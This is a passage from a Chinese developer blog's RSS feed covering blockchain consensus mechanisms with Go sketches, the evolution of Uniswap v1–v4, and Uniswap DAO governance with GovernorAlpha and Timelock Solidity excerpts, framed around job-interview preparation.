            count++ // 每次哈希运算后计数器加1

            // 将新的PoH条目发送到通道
            // 每个条目都包含当前哈希值和计数
            entries &#x3C;- PoHEntry{
                Hash:  hash,  // 哈希值作为时间戳的证明
                Count: count, // 计数表示从开始到现在的"时间"
            }

            // 这个循环会持续运行，不断生成时间证明
            // 就像时钟的滴答声，为网络提供时间基准
        }
    }()

    return entries
}

// 验证PoH序列的函数
func verifyPoH(entries []PoHEntry, initialHash []byte) bool {
    currentHash := initialHash

    for i, entry := range entries {
        // 重新计算哈希值
        currentHash = sha256Hash(currentHash)

        // 验证哈希值是否匹配
        if !bytes.Equal(currentHash, entry.Hash) {
            return false
        }

        // 验证计数是否正确
        if entry.Count != uint64(i+1) {
            return false
        }
    }
    return true
}

</code></pre>
<h3>Solana的混合架构</h3>
<p>Solana = PoH（时间排序）+ PoS（共识安全）</p>
<p><strong>性能表现</strong>：</p>
<ul>
<li>理论TPS：65,000+</li>
<li>出块时间：400毫秒</li>
<li>确认时间：约12.8秒</li>
</ul>
<p><strong>优缺点</strong>：</p>
<ul>
<li>✅ 极高性能，支持并行处理</li>
<li>❌ 硬件要求高，相对中心化</li>
</ul>
<h2>PBFT：拜占庭容错</h2>
<p>PBFT（Practical Byzantine Fault Tolerance）解决拜占庭将军问题，广泛用于联盟链。</p>
<p><strong>打个比方</strong>：这就像军事会议，将军们必须达成绝对一致才能行动。</p>
<h3>实现原型</h3>
<p>三阶段协议</p>
<pre><code class="language-go">type PBFTMessage struct {
    Phase     string // "pre-prepare", "prepare", "commit"
    View      int
    Sequence  int
    Digest    []byte
    NodeID    string
}

func (n *Node) handlePBFT(msg PBFTMessage) {
    switch msg.Phase {
    case "pre-prepare":
        // 验证提案，发送prepare消息
        n.sendPrepare(msg)
    case "prepare":
        // 收集prepare消息，超过2f+1个则发送commit
        if n.prepareCount >= 2*n.faultCount+1 {
            n.sendCommit(msg)
        }
    case "commit":
        // 收集commit消息，超过2f+1个则执行
        if n.commitCount >= 2*n.faultCount+1 {
            n.executeRequest(msg)
        }
    }
}

</code></pre>
<p><strong>优缺点</strong>：</p>
<ul>
<li>✅ 强一致性保证，快速最终确认</li>
<li>❌ 通信复杂度高（O(n²)），不适合大规模网络</li>
</ul>
<h2>Raft：工程师的简单选择</h2>
<p>Raft将一致性问题分解为领导者选举、日志复制、安全性三个子问题。</p>
<p><strong>打个比方</strong>：像班级选班长，选出一个领导者负责组织大家。</p>
<pre><code class="language-go">type RaftNode struct {
    state     string // "follower", "candidate", "leader"
    term      int
    votedFor  string
    log       []LogEntry
    commitIndex int
}

func (n *RaftNode) requestVote() bool {
    n.term++
    n.state = "candidate"
    n.votedFor = n.id

    votes := 1 // 自己的票
    for _, peer := range n.peers {
        if peer.vote(n.term, n.id) {
            votes++
        }
    }

    if votes > len(n.peers)/2 {
        n.state = "leader"
        return true
    }
    return false
}

</code></pre>
<p>我在参与一个联盟链BaaS项目时发现，Hyperledger Fabric 1.x使用了PBFT类算法，而2.x使用Raft作为排序服务的共识机制，实现相对简单，调试和维护都比较容易。</p>
<p><strong>优缺点</strong>：</p>
<ul>
<li>✅ 算法简单，易于理解和实现</li>
<li>❌ 需要奇数个节点，不适合恶意环境</li>
</ul>
<h2>不可能三角理论下的技术取舍</h2>
<p>V神提出的区块链不可能三角理论认为：去中心化、安全性、可扩展性无法同时达到最优。</p>
<table>
<thead>
<tr>
<th>共识机制</th>
<th>去中心化</th>
<th>安全性</th>
<th>可扩展性</th>
<th>典型应用</th>
</tr>
</thead>
<tbody>
<tr>
<td>POW</td>
<td>高</td>
<td>高</td>
<td>低</td>
<td>比特币</td>
</tr>
<tr>
<td>POS</td>
<td>中高</td>
<td>高</td>
<td>中</td>
<td>以太坊2.0</td>
</tr>
<tr>
<td>PoH</td>
<td>中</td>
<td>中</td>
<td>高</td>
<td>Solana</td>
</tr>
<tr>
<td>DPOS</td>
<td>中</td>
<td>中</td>
<td>高</td>
<td>EOS</td>
</tr>
<tr>
<td>PBFT</td>
<td>低</td>
<td>高</td>
<td>高</td>
<td>联盟链</td>
</tr>
<tr>
<td>Raft</td>
<td>低</td>
<td>中</td>
<td>高</td>
<td>私有链</td>
</tr>
</tbody>
</table>
<h2>选择决策框架</h2>
<p>基于我的实际项目经验，不同场景下的选择建议：</p>
<h3>公链场景</h3>
<ul>
<li><strong>优先去中心化和安全性</strong>（数字货币）：POW或POS</li>
<li><strong>优先性能</strong>（DeFi、游戏）：PoH或DPOS</li>
</ul>
<p>我观察到Solana生态中的Raydium等DeFi项目，都充分利用了PoH的高性能特性，实现了中心化交易所级别的用户体验。</p>
<h3>联盟链场景</h3>
<ul>
<li><strong>强一致性需求</strong>：PBFT</li>
<li><strong>简单可靠</strong>：Raft</li>
</ul>
<p>从我的学习调研中发现，国内的联盟链项目广泛采用了这两种算法：</p>
<ul>
<li><strong>某蚁链</strong>：基于PBFT的改进版本，用于支付宝的区块链业务</li>
<li><strong>腾讯TBaaS</strong>：支持PBFT共识，服务于腾讯云的企业客户</li>
<li><strong>某为云区块链</strong>：同时支持PBFT和Raft，根据业务场景选择</li>
</ul>
<h3>私有链场景</h3>
<ul>
<li><strong>企业内部系统</strong>：Raft（性能优先，参与者可信）</li>
<li><strong>需要拜占庭容错</strong>：PBFT（参与者可能恶意）</li>
</ul>
<h2>面试要点总结</h2>
<p>面试中的关键答题框架：</p>
<ol>
<li><strong>原理解释</strong>：用打个比方说明算法核心机制</li>
<li><strong>优缺点对比</strong>：基于不可能三角分析权衡</li>
<li><strong>应用举例</strong>：提及具体区块链项目</li>
<li><strong>场景选择</strong>：根据业务需求推荐合适机制</li>
</ol>
<p><strong>常见面试问题示例</strong>：</p>
<ul>
<li>"为什么以太坊要从POW转向POS？"</li>
<li>"Solana的PoH机制如何提升性能？"</li>
<li>"联盟链为什么选择PBFT而不是POW？"</li>
</ul>
<p>记住，共识机制的选择没有标准答案，重要的是理解每种机制的设计理念和适用场景。</p>
]]></content:encoded>
      <category>区块链</category>
      <pubDate>Fri, 13 Jun 2025 05:29:06 GMT</pubDate>
    </item>
    <item>
      <title>Uniswap v1到v4的进化之路：面试官最爱问的技术要点</title>
      <link>https://yangxinmin.com/uniswap-v1-to-v4-evolution</link>
      <guid isPermaLink="true">https://yangxinmin.com/uniswap-v1-to-v4-evolution</guid>
      <description>说在前面 作为一个在Web3领域深耕多年的开发者，我经常被面试官问到Uniswap各个版本之间的区别。 今天，我想用最直白的方式，带你理解Uniswap从v1到v4的核心变化，让你在面对相关问题时能够条理清晰地回答。 核心区别一览 先给你一个全局视角，Uniswap四个版本的关键变化： - v1：开</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>作为一个在Web3领域深耕多年的开发者，我经常被面试官问到Uniswap各个版本之间的区别。</p>
<p>今天，我想用最直白的方式，带你理解Uniswap从v1到v4的核心变化，让你在面对相关问题时能够条理清晰地回答。</p>
<h2>核心区别一览</h2>
<p>先给你一个全局视角，Uniswap四个版本的关键变化：</p>
<ul>
<li><strong>v1</strong>：开创性的AMM模型，只支持ETH配对</li>
<li><strong>v2</strong>：引入任意代币配对，奠定DEX基础</li>
<li><strong>v3</strong>：集中流动性革命，资本效率大幅提升</li>
<li><strong>v4</strong>：Hooks系统，可定制化的终极形态</li>
</ul>
<p>接下来，我逐一为你展开每个版本的特点。</p>
<h2>Uniswap v1：AMM的初心</h2>
<p>2018年，Uniswap v1横空出世，它最大的贡献是证明了AMM（自动做市商）模型的可行性。</p>
<h3>核心机制</h3>
<p>v1采用了最简单的恒定乘积公式：<code>x * y = k</code>。这个公式看似简单，却解决了去中心化交易的核心问题——如何在没有订单簿的情况下实现价格发现。</p>
<p>我记得当时很多人质疑这种模型，认为滑点太大、资本效率太低。但正是这种朴素而坚实的设计，让Uniswap能够在以太坊上稳定运行，为后续的创新奠定了基础。</p>
<p>有趣的是，这个AMM模型现在已经成为了整个DeFi生态的基石。就连现在火热的meme launch平台，如pump.fun都采用了AMM模型。不过它们做了一些巧妙的改进——增加了前置虚拟池来构建初始价格。我在开发pump404项目时也应用了类似的设计理念，只是将传统的ERC20代币换成了ERC404，这样既保持了AMM的价格发现机制，又增加了NFT的独特性。</p>
<h3>主要限制</h3>
<p>v1最大的限制是<strong>只支持ETH配对</strong>。想要交易ERC-20代币之间的对，必须经过ETH作为中介：</p>
<pre><code>DAI → ETH → USDC（需要两次交易）

</code></pre>
<p>这不仅增加了gas费用，还带来了额外的滑点损失。</p>
<h3>技术特点</h3>
<ul>
<li>工厂合约模式：每个交易对都是独立的合约</li>
<li>简单的流动性挖矿：LP获得0.3%的交易手续费</li>
<li>无治理代币：纯粹的协议，没有复杂的经济模型</li>
</ul>
<h2>Uniswap v2：DEX的奠基石</h2>
<p>2020年5月，v2的发布标志着去中心化交易所进入成熟期。</p>
<h3>突破性创新</h3>
<p><strong>任意ERC-20代币配对</strong>是v2最重要的创新。这意味着你可以直接创建USDC/DAI、WBTC/ETH等任意配对，不再需要ETH作为中介。</p>
<pre><code class="language-solidity">// v2可以直接创建任意配对
factory.createPair(tokenA, tokenB);

</code></pre>
<h3>头寸表现形式</h3>
<p>v2中的流动性头寸以<strong>ERC-20代币</strong>的形式表示，这些LP代币是可替代的，意味着同一个池子中的所有LP代币都是等价的。这种设计简单直观，便于转移和交易。</p>
<h3>闪电贷功能</h3>
<p>v2内置了闪电贷功能，虽然当时还没有这个名词，但机制已经存在。你可以在同一个交易中借出代币，进行操作，然后归还，只要最终池子的不变量得到满足。</p>
<h3>预言机功能</h3>
<p>v2引入了时间加权平均价格（TWAP）预言机，在每个区块的第一笔交易时记录价格累积值，外部合约可以通过计算两个时间点的差值来获得TWAP价格。这个功能看似不起眼，实际上为整个DeFi的爆发提供了重要基础设施。</p>
<h3>UNI代币经济</h3>
<p>2020年9月，Uniswap发布了治理代币UNI，但这个决定并非完全主动。当时SushiSwap发行了SUSHI代币，通过流动性挖矿吸引了大量Uniswap的流动性，对Uniswap造成了显著的"吸血攻击"。面对这种竞争压力，Uniswap被迫发行了UNI代币来挽回流动性。</p>
<p>我见证了那段疯狂的日子，人们为了挖矿收益，将大量资金投入各种流动性池。这次事件也开启了"流动性挖矿"的热潮，几乎每条自建公链都会推出类似的激励机制，它几乎成了DeFi生态产品的标配。</p>
<p>从我的实践经验来看，流动性挖矿不仅能够吸引流动性，还能帮助项目方进行市值管理。比如我参与的Sonex Swap和AIASwap两个项目，都设计了farming、staking、restaking等多种业务模式，通过不同的激励机制来维持生态的活跃度和代币价值的稳定。</p>
<h2>Uniswap v3：集中流动性的革命</h2>
<p>2021年5月，v3的发布彻底改变了AMM的游戏规则。</p>
<h3>集中流动性：效率的飞跃</h3>
<p>v3最核心的创新是<strong>集中流动性</strong>（Concentrated Liquidity）。传统AMM中，流动性均匀分布在整个价格曲线上，但v3允许LP指定价格区间。</p>
<p>举个例子：</p>
<ul>
<li>v2中，你提供USDC/ETH流动性，资金会分布在0到无穷大的价格区间</li>
<li>v3中，你可以选择只在3000-4000美元区间提供流动性</li>
</ul>
<p>这样做的好处是<strong>资本效率大幅提升</strong>。在相同的资金量下，集中在合理区间的流动性可以提供更低的滑点。</p>
<h3>头寸表现形式的变革</h3>
<p>由于每个流动性头寸都有独特的价格区间和参数，v3将LP头寸表示为<strong>ERC-721（NFT）</strong>，而不是v2中可替代的ERC-20代币。这个设计虽然增加了复杂性，但准确反映了每个头寸的独特性。每个NFT都包含了头寸的完整信息：价格区间、流动性数量、未领取的手续费等。</p>
<h3>多级手续费</h3>
<p>v3支持三种手续费级别：</p>
<ul>
<li>0.05%：稳定币对</li>
<li>0.3%：标准对</li>
<li>1%：高风险/低流动性对</li>
</ul>
<p>这让不同风险特征的交易对有了更合适的费率结构。</p>
<h3>带来的挑战</h3>
<p>v3的复杂性也带来了新挑战：</p>
<ul>
<li><strong>无常损失</strong>更复杂且可能更严重</li>
<li>需要<strong>主动管理</strong>流动性头寸</li>
<li>对普通用户来说门槛提高</li>
</ul>
<p>我观察到，v3发布后，专业的流动性管理工具和服务快速发展，这反映了市场对简化v3操作的强烈需求。</p>
<h2>Uniswap v4：可定制化的未来</h2>
<p>2025年1月31日，<a href="https://x.com/haydenzadams/status/1885394502208118844">Uniswap v4正式上线</a>，支持多链部署，为DEX带来了前所未有的可定制性。</p>
<p>v4的核心创新是<strong>Hooks系统</strong>，允许开发者在交易生命周期的不同阶段插入自定义逻辑。这个系统让开发者能够在交易的关键节点实现个性化功能。</p>
<h3>Hooks系统：无限可能</h3>
<p>v4的核心是<strong>Hooks系统</strong>，允许开发者在交易生命周期的不同阶段插入自定义逻辑：</p>
<pre><code class="language-solidity">// Hook可以在这些时机执行自定义逻辑
beforeInitialize()
afterInitialize()
beforeModifyPosition()
afterModifyPosition()
beforeSwap()
afterSwap()

</code></pre>
<p>这意味着你可以实现：</p>
<ul>
<li>动态手续费调整</li>
<li>链上限价单</li>
<li>自动调仓</li>
<li>防MEV攻击</li>
<li>自定义预言机集成</li>
</ul>
<h3>Singleton架构</h3>
<p>v4采用Singleton架构，所有交易对共享一个合约，而不是像之前版本那样每个对一个合约。这大大降低了创建新交易对的gas成本。</p>
<h3>Flash Accounting</h3>
<p>v4引入了"闪存记账"系统，只在交易结束时结算净额，而不是每一步都转移代币。这进一步降低了gas消耗。</p>
<h3>原生ETH支持</h3>
<p>v4重新支持原生ETH交易，不再强制使用WETH，这为用户节省了包装/解包装的gas费用。</p>
<h2>Gas消耗对比分析</h2>
<p>从合约架构角度，各版本的gas消耗特点：</p>
<h3>v1 &#x26; v2：独立合约模式</h3>
<ul>
<li><strong>创建成本</strong>：每个交易对需要部署独立合约，gas消耗较高</li>
<li><strong>交易成本</strong>：相对简单的逻辑，单次交易gas适中</li>
<li><strong>存储开销</strong>：每个合约独立存储状态，整体存储成本高</li>
</ul>
<h3>v3：复杂化的权衡</h3>
<ul>
<li><strong>创建成本</strong>：仍采用独立合约，但合约更复杂</li>
<li><strong>交易成本</strong>：由于集中流动性计算复杂，单次交易gas增加约30-50%</li>
<li><strong>NFT开销</strong>：头寸管理涉及NFT操作，增加额外gas成本</li>
</ul>
<h3>v4：架构优化的红利</h3>
<ul>
<li><strong>创建成本</strong>：Singleton架构大大降低新交易对创建成本</li>
<li><strong>交易成本</strong>：Flash Accounting机制显著降低多步骤交易的gas</li>
<li><strong>批量操作</strong>：支持批量交易，摊薄单次操作成本</li>
</ul>
<p>从我的实际开发经验来看，v4的架构设计思路值得借鉴。在设计DeFi协议时，合约架构对gas效率的影响往往比算法优化更显著。</p>
<h2>实践应用与选择建议</h2>
<p>基于我的开发经验，不同场景下的选择建议：</p>
<h3>新项目启动</h3>
<ul>
<li>如果追求简单和稳定：选择v2</li>
<li>如果需要资本效率：选择v3</li>
<li>如果需要特殊功能：等待v4或自己fork</li>
</ul>
<h3>流动性提供策略</h3>
<ul>
<li><strong>v2</strong>：适合"设置后忘记"的被动策略</li>
<li><strong>v3</strong>：需要主动管理，但收益潜力更高</li>
<li><strong>v4</strong>：可以根据具体需求定制策略</li>
</ul>
<h3>开发者考虑</h3>
<p>集成复杂度：v2 &#x3C; v3 &#x3C; v4
功能灵活性：v2 &#x3C; v3 &#x3C; v4</p>
<h2>技术面试要点</h2>
<p>如果你在面试中被问到Uniswap版本区别，记住这些关键点：</p>
<ol>
<li><strong>v1到v2</strong>：从ETH配对到任意配对的跨越</li>
<li><strong>v2到v3</strong>：从均匀流动性到集中流动性的效率提升，从ERC-20到ERC-721的头寸表示</li>
<li><strong>v3到v4</strong>：从固定逻辑到可定制化的架构革新，从独立合约到Singleton的gas优化</li>
</ol>
<p>每次版本升级都解决了前一版本的核心痛点，同时也带来了新的复杂性和可能性。</p>
<h2>未来展望</h2>
<p>Uniswap的演进反映了整个DeFi领域的成长轨迹。从最初的概念验证（v1），到功能完善（v2），再到效率优化（v3），最后到可定制化（v4），我们看到了一个协议如何持续创新和适应市场需求。</p>
<p>v4的Hooks系统让我特别兴奋，它可能催生出我们现在还想象不到的创新应用。就像v2的闪电贷功能被广泛应用于套利和清算一样，v4的可定制性可能会开启DeFi的下一个黄金时代。</p>
<p>作为开发者，我建议你不仅要理解这些技术区别，更要思考它们背后的设计哲学和市场需求。这种深层理解，才是真正有价值的技能。</p>
]]></content:encoded>
      <category>DeFi</category>
      <pubDate>Thu, 12 Jun 2025 11:35:00 GMT</pubDate>
    </item>
    <item>
      <title>开发完借贷协议后，我终于看懂了Uniswap DAO治理</title>
      <link>https://yangxinmin.com/lending-protocol-uniswap-dao</link>
      <guid isPermaLink="true">https://yangxinmin.com/lending-protocol-uniswap-dao</guid>
      <description>说在前面 2021年开发Xai-Maker借贷协议时，我们遇到了一个让整个团队头疼的问题：谁来决定借贷利率？ 传统金融里，这种事银行说了算。但在DeFi的世界，如果让项目方单方面控制利率，用户凭什么信任你？如果完全放任市场，万一出现极端情况怎么办？经过调研，我把目光投向了Uniswap——这个管理着</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>2021年开发Xai-Maker借贷协议时，我们遇到了一个让整个团队头疼的问题：<strong>谁来决定借贷利率？</strong></p>
<p>传统金融里，这种事银行说了算。但在DeFi的世界，如果让项目方单方面控制利率，用户凭什么信任你？如果完全放任市场，万一出现极端情况怎么办？经过调研，我把目光投向了Uniswap——这个管理着数百亿美元资金的去中心化治理典范。</p>
<p>深入研究<strong>Uniswap的治理合约</strong>后，我有种"原来如此"的恍然大悟感。这套看似复杂的系统，实际上是一部精妙的"民主机器"，每个齿轮都有其深层的设计哲学。今天我想从一个开发者的角度，与你分享一下这套治理机制到底有什么过人之处。</p>
<h2>三个核心组件：治理的"铁三角"</h2>
<p>想象一下，如果要设计一套让千万人参与决策的系统，你会怎么做？</p>
<p>Uniswap给出的答案是三个核心合约的完美配合：</p>
<p><strong>UNI Token合约</strong> — 相当于"选民证"，不仅记录你的投票权，还能让你把票委托给信任的人。这解决了"我有UNI但没时间研究每个提案"的现实问题。</p>
<p><strong>GovernorAlpha合约</strong> — 就像"议会大厅"，负责收集提案、统计投票、判断结果。虽然名字里有"Alpha"（说明这是早期版本），但功能已经相当完备。</p>
<p><strong>Timelock合约</strong> — 这是最关键的"安全阀"。任何通过的提案都不能立即执行，必须等待<code>2-30</code>天的公示期。这给了社区最后的反悔机会，也给了恶意提案被发现的时间。</p>
<p>有意思的是，Uniswap用的GovernorAlpha确实有些"年代感"了。现在更新的治理合约有更多功能，但Uniswap依然在用这套相对简单的系统。为什么？或许正是"简单即美"的体现——功能够用就行，稳定性更重要。</p>
<h2>治理流程：从"民意测试"到"法律生效"</h2>
<p>说起Uniswap的治理流程，我最佩服的是它的"<strong>渐进式筛选</strong>"设计。</p>
<h3>链下阶段：把好想法"孵化"出来</h3>
<p>首先是3天的<strong>温度检查</strong>。就像你想在朋友圈发个想法试试水一样，提案者会在论坛、Discord等地方抛出想法，看看有没有人响应。门槛很低：只要<code>25,000</code>个UNI支持就算通过。</p>
<p>接着是5天的<strong>共识检查</strong>。这时候讨论会更正式，类似于"听证会"。支持门槛提高到<code>50,000</code>个UNI，让提案者必须回应质疑，完善方案。</p>
<p>这两个环节都在Snapshot平台进行，最大的好处是不需要Gas费。</p>
<p>想象一下，如果每次投票都要花几十美元手续费，还有多少人愿意参与？</p>
<h3>链上阶段：真金白银的较量</h3>
<p>经过链下"预热"，提案正式进入链上投票。这时门槛骤然提高，看看GovernorAlpha合约里的关键参数设置：</p>
<pre><code class="language-solidity">/// @notice 发起提案需要的投票权重门槛
function proposalThreshold() public pure returns (uint) {
    return 10_000_000e18; // 1000万UNI，占总供应量1%
}

/// @notice 提案通过需要的最低支持票数
function quorumVotes() public pure returns (uint) {
    return 40_000_000e18; // 4000万UNI，占总供应量4%
}

/// @notice 投票期长度（以区块计算）
function votingPeriod() public pure returns (uint) {
    return 40_320; // 约7天（按15秒/区块计算）
}

/// @notice 单个提案最多可包含的操作数
function proposalMaxOperations() public pure returns (uint) {
    return 10; // 防止复杂攻击
}

</code></pre>
<p>为什么门槛设置得这么高？我理解这是一种"负责任的民主"。<code>1%</code>的发起门槛确保提案者是真心的，不是来捣乱的；<code>4%</code>的通过门槛确保重大决策有足够的民意支持。</p>
<p>最后是<strong>执行阶段</strong>。通过的提案不会立即生效，而是进入Timelock"冷静期"，Timelock合约中的时间参数设置如下：</p>
<pre><code class="language-solidity">uint public constant GRACE_PERIOD = 14 days;      // 宽限期
uint public constant MINIMUM_DELAY = 2 days;      // 最小延迟
uint public constant MAXIMUM_DELAY = 30 days;     // 最大延迟

</code></pre>
<h3>时间成本：民主的代价</h3>
<p>算下来，一个提案从想法到落地，最快也要<code>17</code>天，正常情况下需要<code>22</code>天，复杂提案可能长达<code>45</code>天。</p>
<p>这效率在传统公司看来简直是"龟速"，但在去中心化治理中，这恰恰是安全的保障。毕竟，一旦执行错误，可能造成数亿美元的损失。</p>
<h2>委托机制：让专业的人做专业的事</h2>
<p>说到委托机制，这是我觉得最巧妙的设计之一。</p>
<p>现实中，大部分UNI持有者并没有时间和精力研究每个技术提案。怎么办？委托给你信任的专家呗！这就像选举制度中的"代议制"。</p>
<p>但这里面有个技术难题：如何防止有人在投票期间突然买入大量代币来操纵结果？</p>
<p>Uniswap的解决方案是<strong>Checkpoint机制</strong>——每当代币发生转移或委托变化，系统就会在那个区块号记录一个"快照"。投票时，使用的是提案开始时的历史权重，而不是当前权重。</p>
<pre><code class="language-solidity">/// @notice 检查点结构，记录特定区块的投票权重
struct Checkpoint {
    uint32 fromBlock;    // 生效区块号
    uint96 votes;        // 投票权重
}

/// @notice 获取账户在指定区块的历史投票权重
function getPriorVotes(address account, uint blockNumber)
    public view returns (uint96) {
    require(blockNumber &#x3C; block.number, "not yet determined");

    uint32 nCheckpoints = numCheckpoints[account];
    if (nCheckpoints == 0) {
        return 0;
    }

    // 检查最新检查点
    if (checkpoints[account][nCheckpoints - 1].fromBlock &#x3C;= blockNumber) {
        return checkpoints[account][nCheckpoints - 1].votes;
    }

    // 二分查找历史权重
    uint32 lower = 0;
    uint32 upper = nCheckpoints - 1;
    while (upper > lower) {
        uint32 center = upper - (upper - lower) / 2;
        // ... 二分查找逻辑
    }
    return checkpoints[account][lower].votes;
}

</code></pre>
<p>这套机制的精妙之处在于：既允许了灵活的委托，又防止了恶意操纵。每个人的投票权重在提案开始的那一刻就"锁定"了，买再多币也没用。</p>
<h2>参数设计：博弈论的艺术</h2>
<p>Uniswap的治理参数设置，我觉得是博弈论在实践中的经典案例：</p>
<table>
<thead>
<tr>
<th>环节</th>
<th>门槛</th>
<th>设计意图</th>
</tr>
</thead>
<tbody>
<tr>
<td>温度检查</td>
<td>25,000 UNI</td>
<td>过滤明显不靠谱的想法</td>
</tr>
<tr>
<td>共识检查</td>
<td>50,000 UNI</td>
<td>确保有一定民意基础</td>
</tr>
<tr>
<td>发起提案</td>
<td><code>1000万 UNI(1%)</code></td>
<td>防止垃圾提案泛滥</td>
</tr>
<tr>
<td>通过提案</td>
<td><code>4000万 UNI(4%)</code></td>
<td>确保重大决策有足够支持</td>
</tr>
</tbody>
</table>
<p>这种"<strong>递进式门槛</strong>"设计很聪明：既给了小想法萌芽的机会，又确保重大决策不被少数人绑架。</p>
<p><code>1%</code>的发起门槛意味着，按当前价格，你大概需要几千万美元的UNI才能发起提案。这听起来很高，但考虑到Uniswap管理的资金规模，这个门槛其实很合理。</p>
<p><code>4%</code>的通过门槛更是关键。想想看，如果门槛太低，比如1%，那可能几个大户就能通过影响整个协议的提案；如果太高，比如10%，那可能永远都通过不了任何提案。4%正好在"民主"和"效率"之间找到了平衡点。</p>
<h2>GovernorAlpha：简单但有效的"投票机"</h2>
<p>深入看GovernorAlpha的代码实现，我发现它的设计哲学是"简单粗暴，但管用"。</p>
<p>比如投票选项，只有"支持"和"反对"两种，没有现代治理合约常见的"弃权"选项。这看似简陋，但在实际使用中反而避免了很多复杂情况。</p>
<pre><code class="language-solidity">/// @notice 投票记录结构
struct Receipt {
    bool hasVoted;       // 是否已投票
    bool support;        // 是否支持（true-支持，false-反对）
    uint96 votes;        // 投票权重
}

/// @notice 内部投票逻辑
function _castVote(address voter, uint proposalId, bool support) internal {
    require(state(proposalId) == ProposalState.Active, "voting is closed");

    Proposal storage proposal = proposals[proposalId];
    Receipt storage receipt = proposal.receipts[voter];
    require(receipt.hasVoted == false, "voter already voted");

    // 获取提案开始时的历史投票权重
    uint96 votes = uni.getPriorVotes(voter, proposal.startBlock);

    if (support) {
        proposal.forVotes = add256(proposal.forVotes, votes);
    } else {
        proposal.againstVotes = add256(proposal.againstVotes, votes);
    }

    receipt.hasVoted = true;
    receipt.support = support;
    receipt.votes = votes;

    emit VoteCast(voter, proposalId, support, votes);
}

</code></pre>
<p>提案的生命周期也很清晰，总共8个状态：从<code>Pending</code>（等待开始）到<code>Executed</code>（执行完成），每个状态转换都有明确的条件。</p>
<pre><code class="language-solidity">enum ProposalState {
    Pending,     // 等待投票开始
    Active,      // 投票进行中
    Canceled,    // 已取消
    Defeated,    // 投票失败
    Succeeded,   // 投票成功，等待排队
    Queued,      // 已排队到Timelock
    Expired,     // 执行期过期
    Executed     // 已执行
}

function state(uint proposalId) public view returns (ProposalState) {
    Proposal storage proposal = proposals[proposalId];

    if (proposal.canceled) {
        return ProposalState.Canceled;
    } else if (block.number &#x3C;= proposal.startBlock) {
        return ProposalState.Pending;
    } else if (block.number &#x3C;= proposal.endBlock) {
        return ProposalState.Active;
    } else if (proposal.forVotes &#x3C;= proposal.againstVotes ||
               proposal.forVotes &#x3C; quorumVotes()) {
        return ProposalState.Defeated;
    } else if (proposal.eta == 0) {
        return ProposalState.Succeeded;
    } else if (proposal.executed) {
        return ProposalState.Executed;
    } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
        return ProposalState.Expired;
    } else {
        return ProposalState.Queued;
    }
}

</code></pre>
<p>最有意思的是，GovernorAlpha限制每个地址同时只能有一个活跃提案。这防止了"<strong>提案轰炸</strong>"攻击，也确保了每个提案都能得到充分的讨论。</p>
<pre><code class="language-solidity">function propose(...) public returns (uint) {
    // 检查提案者是否有足够投票权
    require(
        uni.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(),
        "proposer votes below proposal threshold"
    );

    // 检查是否有其他活跃提案
    uint latestProposalId = latestProposalIds[msg.sender];
    if (latestProposalId != 0) {
        ProposalState proposersLatestProposalState = state(latestProposalId);
        require(
            proposersLatestProposalState != ProposalState.Active &#x26;&#x26;
            proposersLatestProposalState != ProposalState.Pending,
            "one live proposal per proposer"
        );
    }

    // ... 创建提案逻辑
}

</code></pre>
<h2>Timelock：最后的"安全网"</h2>
<p>如果说GovernorAlpha是民主决策的机器，那Timelock就是防止决策错误的保险丝。</p>
<p>任何通过的提案都必须先进入"排队"状态，等待指定的时间后才能执行。这个等待期最短<code>2</code>天，最长<code>30</code>天，具体时长取决于提案的重要性。</p>
<pre><code class="language-solidity">function queueTransaction(
    address target,
    uint value,
    string memory signature,
    bytes memory data,
    uint eta
) public returns (bytes32) {
    require(msg.sender == admin, "Call must come from admin");
    require(
        eta >= getBlockTimestamp().add(delay),
        "Estimated execution block must satisfy delay"
    );

    bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
    queuedTransactions[txHash] = true;

    emit QueueTransaction(txHash, target, value, signature, data, eta);
    return txHash;
}

function executeTransaction(
    address target,
    uint value,
    string memory signature,
    bytes memory data,
    uint eta
) public payable returns (bytes memory) {
    require(msg.sender == admin, "Call must come from admin");

    bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
    require(queuedTransactions[txHash], "Transaction hasn't been queued");
    require(getBlockTimestamp() >= eta, "Transaction hasn't surpassed time lock");
    require(
        getBlockTimestamp() &#x3C;= eta.add(GRACE_PERIOD),
        "Transaction is stale"
    );

    queuedTransactions[txHash] = false;

    // 执行交易
    bytes memory callData = bytes(signature).length == 0 ?
        data :
        abi.encodePacked(bytes4(keccak256(bytes(signature))), data);

    (bool success, bytes memory returnData) = target.call{value: value}(callData);
    require(success, "Transaction execution reverted");

    emit ExecuteTransaction(txHash, target, value, signature, data, eta);
    return returnData;
}

</code></pre>
<p>更巧妙的是，即使等待期结束，提案也只有<code>14</code>天的"宽限期"来执行。超过这个时间窗口，提案就自动过期，需要重新走流程。</p>
<p>这种设计的深层逻辑是：给社区"后悔"的机会，也给恶意提案被发现的时间。想象一下，如果有人通过某种方式推动了一个有害的提案，至少还有几天到几十天的时间来阻止它。</p>
<h2>效率vs安全：一个永恒的权衡</h2>
<p>从效率角度看，Uniswap的治理确实"慢"。一个简单的参数修改可能需要几个星期才能生效。但从安全角度看，这种"慢"恰恰是必要的。</p>
<p>在传统公司，CEO可能一个电话就能改变重要决策。但在管理数百亿美元的去中心化协议中，任何匆忙的决定都可能带来灾难性后果。</p>
<p>我们在设计Xai-Maker的治理机制时，也面临着同样的权衡。最终我们选择了类似的渐进式流程，虽然慢一点，但至少能睡得安稳。</p>
<h2>DAO治理的适用边界：什么时候适合用DAO？</h2>
<p>经过深度研究Uniswap的治理机制，我开始思考一个更现实的问题：<strong>什么情况下适合用DAO？</strong></p>
<p>在Web3圈子里，我们经常听到"未来公司的组织形式就是DAO"这样的论调。但经过几年的实践，我发现理想很丰满，现实很骨感。</p>
<h3>DAO的"甜蜜点"</h3>
<p>从Uniswap的成功经验来看，DAO适用需要满足几个关键条件：</p>
<p><strong>1. 利益相关者众多，决策影响面大</strong>
Uniswap管理着数百亿美元资金，每个参数调整都影响成千上万用户。这种情况下去中心化决策是必要的。但如果你的项目只有几个核心用户，为了调整一个参数要走22天流程，这不是民主，这是自虐。</p>
<p><strong>2. 安全性优于效率，决策可以"慢一点"</strong>
